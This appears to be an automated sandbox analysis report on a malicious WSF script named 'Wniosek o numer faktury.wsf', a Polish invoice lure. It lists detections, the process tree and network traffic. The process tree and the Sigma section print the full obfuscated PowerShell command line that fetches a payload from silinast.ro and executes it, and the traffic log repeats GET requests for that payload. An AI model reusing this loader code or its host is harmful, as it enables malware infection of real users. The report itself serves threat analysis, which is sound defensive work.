Edit tour

Windows Analysis Report
Wniosek o numer faktury.wsf

Overview

General Information

Sample name:	Wniosek o numer faktury.wsf
Analysis ID:	1528870
MD5:	b3a1adc2eab232bddfe5149b896af1c8
SHA1:	be84a3bb6abe9b87cd90af27ca5574dae9607d48
SHA256:	55d2f245a0b7975884b7e5bbf284bcb72cc1514a726eb6988a1ca1e1e429cfb4
Tags:	wsfuser-Maciej8910871
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected Powershell download and execute

AI detected suspicious sample

Suspicious execution chain found

Suspicious powershell command line found

Uses ping.exe to check the status of other devices and networks

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5500 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Wniosek o numer faktury.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6468 cmdline: cmd.exe /c ping 6777.6777.6777.677e MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3180 cmdline: ping 6777.6777.6777.677e MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 1336 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral[ SandblnYawl nkEXiphipltAartier. ,erpenS Fla.gieVictorir StatsvvPo ygeniS philiCBlaffe eModulvip ensdyrO bil igiBlokadeNCholecyTLovprisMHjhletfAFibroelNN edlemaLongbowgHv,skedEJamborerTrktjet]philomu:Elforsy:b,ckbussBraiserEGlyconeCSkeletouSingul.RNationaIjedd,hitCommin.yHu tankpSwoosheRHydro,lo TidtagtNonshatOfr dmmeC Jor,broHaleweelUdsprin Boldtre=Pteropu Strejf[Ve.nacuNMizenmaeTranquiT Anostr.Rationas D.shalE nowbloCFlus erUFluktueRUsheriaITekstilTEpi idyyShedmanPJydepotr But,ksOH.lotriTAg rnsuOLivskracSpilledois andsLGenetabTUntwitcYcrestsrPHoodshyELredren] gldssa:homemak:Form ddT Bra,etLMellemfs Abdomi1Uncoaxe2 Superf ');$Maalestationernes=$Upsettal[0];$eupnoeic=(Citationstegnet 'Po tula$ Spermag ,alataLSlvstolOIntell.b W,nderaChefk nLWrangle:VildtdidFluviale demi aAPotholer VedersYFluor s2 Lovreg3Sprogkl3Rayonna=undervinslambeheNectriaW Subung- PeroliO WoolieBLgnehisJGarapateUna brec uggenttT ermot HymenopsOppo itY A.minisS.rivelt eemanaEDe ennimPatriar.War letnTabelleErivettitF,rstan.Listep WVinderteOverstiBDri,tsiC SponsoLColaensI S.cialE Rec ifNafvikliTUdydsva ');Humiria ($eupnoeic);Humiria (Citationstegnet 'Gulliut$u graveDMidshipe ste peaSourtoprs,pramayLeverin2Dehydra3Adjuvat3 Sa men.Gr ynesHRichn.seSejpinea,ranchedSubmerge Rets.rrSekundasGopural[Slyng i$andenklAHypapoppDagsprirAa enhjiCounterlSafthols lapsenter,itoaRtehalmrbagefors pardie1Gungrem9Fe mate0Sl bnin]p.theca= Stepd.$Guas.alUPalewi d Abb.evf SelvhelSacrifia.pectrudTele henSpectroiHom,nymnSappa wgHurriexeAntimonrPoachernseasonaeOverr s1Perspekv harteryBlo rigb Retroce Foliarr TambalrDelkredyBilledf ');$Venskabsbyen=Citationstegnet 'Un.erkb$ .hylloD Morbi eShrewisa Fortolr eitonoy nderpa2Fructuo3 Marche3Ectopla. RosewoDEksilero Ngleomw Nonradn CountelFabrikaoOveroffaSulphiddIrmamrkF anensciDr ntfolFredrikebogklub(Sammens$LarrikiMDosmerna Sundh,aVan.lbslSanselie Sele.tsDobbelttVigint avagrantt H.rejuiConvivioInddmconUnmembee Ma dskr blytkkn Popul.eValewarsHo.shan,Trykblg$EfterviRBararmeuSkaf,esbForfl,di DemonoaDemountc FuturoeblndramaChronise Rednin) Egensk ';$Rubiaceae=$administrationsprogrammer;Humiria (Citationstegnet 'Ev ngel$ Ta,ellgSnitselLDiscandoEkstre.BStin svaSplenolLMedh.lp:P oletaoShahe,sFKipkalvfPolygamICensurkCotiticei ServieaUnderudlKbslaaaVMunsifciOverlubR LeachekSubsistsMesonepOBla dinMSubramohE.aarigEFuglehaDBronchoE Eksperr Social4 Roligt4 Overtr=Horaten(Kat,batTFoxtrotE QuisquS NominatD sbenc-VarselsP BetingA Fore.dtComitatHParthen egelis$TrstubbRSpeedomuSelenosBDesig.fiRedemptA Appetic Trans eGodsterAPillorieVejenkl)Kvgbrug ');while (!$Officialvirksomheder44) {Humiria (Citationstegnet ' Opretn$Expand.gBoozinelK ivkamoMinim.rbOtocystapleasaulAdviser:Mo omolC UdgiftoGobblinlSkibsr,lDioicouy evggrub pleopoadigono =Tilsp.r$Pyoi betcofi.anr Kategou antiscePhospho ') ;Humiria $Venskabsbyen;Humiria (Citationstegnet 'S,lowviSChristiTTransisaRehoninr,valiteTFintede-Unikae s,latycnLVert biE,acrameeQuinovopClinoph Domajig4Calatra ');Humiria (Citationstegnet ' Bilbre$ atsdekgAegteskl SlagteOSocio oBS,lerodAVulgariLWorkbas:snowshaO ndiscFCatchplf Str foI Kryst cDicotylIModarb aDenouncLheraldrvSacketcI S outerAnticorkLag rbeSTeasellOLmmelstmPre,onshcircumseUn ulatdpolemoseSu ernirIndlagt4Tonnens4Beruser=Synsv d(ZarerviTBesl tnESmilerhSunst inT skrift-Falshvlp sldrevaHengivetBlokbebh Isohes Raekker$Mu ticyrOverv,ruT,lentfb aniskeiSedimenAFodl ngcBino,iaEOverrelasavoroueKri.sra)Non pos ') ;Humiria (Citationstegnet 'Indremi$BitestiG InspirLTumidito TrbeskbGenyantaF rbrydLBerring:Bet gensPenta eCIvrkstthEksportO onsillo utpresLMark nghHyperviOUninterUDe,ainaskancelleKlag adSCiril o=D meskr$ nruddgUn,ordyLMudde,pOGottharBHospitaAInkorpoL Deta h:underdeo a ribrrUnappreihustankSSstridspRagoutehHaartopEEntreprRUn.ougheRepelli+Ceylone+Fednmag%Ydmyg.d$DiapnotULov stePUn selisSammensEcum,noiTFluidist TroposAAl,mnollMouseba. T lhoec IndsyoO SlidsoUTrivia NSpacecrTindvend ') ;$Maalestationernes=$Upsettal[$schoolhouses];}$Effektfuld=311542;$Garnnglers=33970;Humiria (Citationstegnet 'Flad.ng$ almebgGUdkoblelPintaskO BrobygBOpvejeraUncon.ilU level:Fa ulteETndrrsnm Sabba bUdenrigRkyllin OEndocriSMagi.trc VidereOHombretPweed inI SurfedCPa ynol Folk re= En.old FasanhnGThal aneNy ansktVelkoms-SkenderCInrusheo jertesN KontorTButi keeNo ditanChungviTOmstnin Udrug $TestamerTonikaeUBackarrBSkribleiKlemat aUbekrftCRandomiECoinquiaA ylemiePerspek ');Humiria (Citationstegnet '.mmodyt$RealitegBlackgulheteroco Rkvrkeb BropenaStngelelNucleat:tapaderSSocialleOlfactymSej brtiUnhonesnRubbereiashilymsYalelaatR books2Clodpol4cantr p3racehes Dogmat=Pilpais Dagafsn[CurricuSRubblinyCranke swired,atNonlique forgivmunridab.ExquisiCC shkluo BalletnSynta svAnegalle oupetfrBrisjabtReh efo]Life,ty: Andrag:UnsearcFAgurksprDueske o Ci clemSquamygBGipsdepaEuropaksO fwhiteS,upnef6Kimissv4indkbsaS nplankt proaccrSagnfigiNic namnCel ermgTim lia(Inexora$panningEPa elunmP stinsbDronninrFortidsoGraphics Percenc Soci loPreindupKur,udviMyndighcGossame)Forvist ');Humiria (Citationstegnet 'Foldout$SparepegAlkylolLSenilisoBippeneBDumpnina LaparoLSide il:LangvarL usstano Pe minO Adoni.KLeukoseDSkrte uoSjlevanWIlfrdignGamblessUntissu Harpun =Wickyfo Debyein[ Re nfrsKlagdocyKommuneS DesserT angsveeEquilinmP ulina.RugbyenTPapirdoe BrugerXTilrettt S yros.Begyn.eePredissnTachomeC onstorORodetcodDipoleri MdeaftnRungendgAchokes] Jordvo:uvurder: Nonat ABill.dhsDiluviuCHyponomiTomasteIOreocar.genforeGPeritoneEbelt,ftTrehedesVenligstVi tigtR BanabaILisabetNtehuecoGNonstat(omstill$ AntigeS DuridiEVertikaMHageskgIPropinqn O helcIIskagemS Hexad tUn slaa2 okalp4Forthse3u adjus)Looking ');Humiria (Citationstegnet 'Phototy$CatchphG VidtlfLMeddelso TintinbDacapona BefrieLKanjist:TmrermeNFrangibO BettonN askinfCHygiejna SlabbenNonreseDReallnnIHjssoneDRekapitaStude rT tearinEUdgivelSForhand=Knnessk$ EkkololPostninO anim loFibrillKCepforsdElianasO destitWComminuNhobbyi S Inju i.FlakonesEkstr.oUApothecbDevalueSPara idTNicolaiRDr,vtmmiUdligniNDivertiGRecoils( hasian$Ni htimE,yromanf ammenkfToraerseMyer,orK BenzintRefuserf artoonuHorsecrLRitteniD Obispo,Udenla $ HyrekrgGedesk,ADaaredertankangnDanielun PejoraG SkatteLSwe.tieeHyaluror RdkaalS ortari)Unhaggl ');Humiria $Noncandidates;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1336	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_1336.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Wniosek o numer faktury.wsf", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Wniosek o numer faktury.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Wniosek o numer faktury.wsf", ProcessId: 5500, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Semicellulous Sasia Afblsningers fortification Ungarbejderens #>;$Jestenenes='sollegeme';<#Perspiration Widish Redobles Foresprgerens Snobbisme #>;$Bromatologiens=$Lorelei128+$host.'PrivateData';If ($Bromatologiens) {$Boutonnieres++;}function Citationstegnet($Praepuce){$Firewarden117=$udnyttedes+$Praepuce.Length-$Boutonnieres; for( $Udfladningerne1=7;$Udfladningerne1 -lt $Firewarden117;$Udfladningerne1+=8){$Beritt='Affaldsbortskaffelsesomraaderne';$fumitories+=$Praepuce[$Udfladningerne1];$Exsectile='Impieties';}$fumitories;}function Humiria($Skdefrakkernes){ . ($Kaste) ($Skdefrakkernes);}$Udfladningerne1vyberry=Citationstegnet 'ChienfoMWingle o FrkapszSkyttesiNonshatl Vab erlNonch maKrydr s/ Cons q5 Coni i. Ophiur0Udebliv modpart(MilepleWSti lehiTak artnReirrigdUfrihedojubilizw angforsAtletis NedslagNBedrageT Defade Kuponen1Teredos0,budent.Cybercu0Matinmx;Maskinm GrskkatW UdspiniBoiler nLongw y6Mayos,v4 Anthro;S eavep Tras.expar tid6Tabanu 4Frifind;Hushold lseligrRke ispvabashle: N napp1 Pererr2 efleks1 Neutra.Recons 0H lvled) Compos esuetuG Bortf eO.gngelcSoricidkVolcanooZonesys/Glosser2Forvold0Turloug1Melleml0 nie,zs0G,lvano1F lthro0 Ristni1Landbru Lommer,FSkalkesi Sel,plrTorskeneHydrofofKonditoosiderocx kledis/Hjemt,g1 Ca,lal2 Tikkes1Nor ann.Ind atn0Ordrere ';$Aprilsnars190=Citationstegnet 'PropounUDyb rysS KongebE lozengrin issu-A,kelleaKoncis gBusfor eViewyyaN HercogTLrerudd ';$Maalestationernes=Citationstegnet 'RbdigsthPhilomatArseniutKaolinapVrdido :.wfulle/.rocaic/PuppetlsJacalsii F,rulylHepht eiMaaleren epersoau,creatsLicentitConnuan.KontrrernontyphoPondero/ UnguicJ,ongfeluDyrtidsgAfgrelslThro,doa niformn charondPrefectiTv,ngsinEksdik..Kin.redxType odtkristanpInd ull ';$Terroristens=Citationstegnet 'eft rml>Deseca ';$Kaste=Citationstegnet 'U derviicephaloeLaiciziX Perfor ';$Halibuts='Layland';$Darlenes='\Kassestrimmelens.Aft';Humiria (Citationstegnet 'Heft,gt$SkridtbGCrotonil KrystaOAbstracBpurdasiAUdsor el N,nges:Udsag kA .anthodRefas,emUncharii SuppleNPostsaci ewspapsGenvlgetD,ekcyaRNonunciA Hulds T IlliciiKvittero MorfinNEpilogisPreentepDrun,enrCus ekdOTvetandGtrkgardrLitera ABeijingM ic.orsmAlarmereSthammerInd fry=Undersk$Sur,useeSeweragNMllerenVTa kats:UndightACentralpdristerPF cellid StorstAEgomanit Sku spAMe,meri+ Pander$LinguovDKlvandkaBelliferGinglymLCumsha,EAlmennyN VarmlueBrugsmsSAnorect ');Humiria (Citationstegnet 'Viziera$AdemonigPr teifLArbejdeoVan fribMixologaAfkodnilUnderme:RegnefuUaksiomaPIncongeS Fo beheScorevatHypos rTEncr,ptaKonversl Opmarc=Economb$TrimolemOpstaada VegetaaUvrdigtlEnsurege Vo dgiS EngberT redsaAImp,ritT ArvelsiPekingeO Inthron andsynEDemoniaRAffaldsNSympatiEOverlegsFastlaa.H.vregrSSandslopBestriplMisogynimycelietoverjoy(Hagge,e$ Af,tantUnarcheeSilikatrB sgader,hasiluoFremholRDgn.rveIMiscoloS.pildolTPo letreIsocampN SubsidsBlodser)Strepto ');Humiria (Citationstegnet 'Contral[ SandblnYawl nkEXiphipltAartier. ,erpenS Fla.gieVi

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: silinast.ro	Virustotal: Detection: 10%			Perma Link
Source: http://silinast.ro	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Source: Wniosek o numer faktury.wsf	ReversingLabs: Detection: 23%
Source: Wniosek o numer faktury.wsf	Virustotal: Detection: 19%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Source:	Binary string: ystem.pdb source: powershell.exe, 00000005.00000002.4643691298.0000015DED898000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA73000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb source: powershell.exe, 00000005.00000002.4643691298.0000015DED898000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb95f source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb source: powershell.exe, 00000005.00000002.4646772637.0000015DEFAAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb!1 source: powershell.exe, 00000005.00000002.4646772637.0000015DEFA40000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e

Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Juglandin.xtp HTTP/1.1Host: silinast.roConnection: Keep-Alive
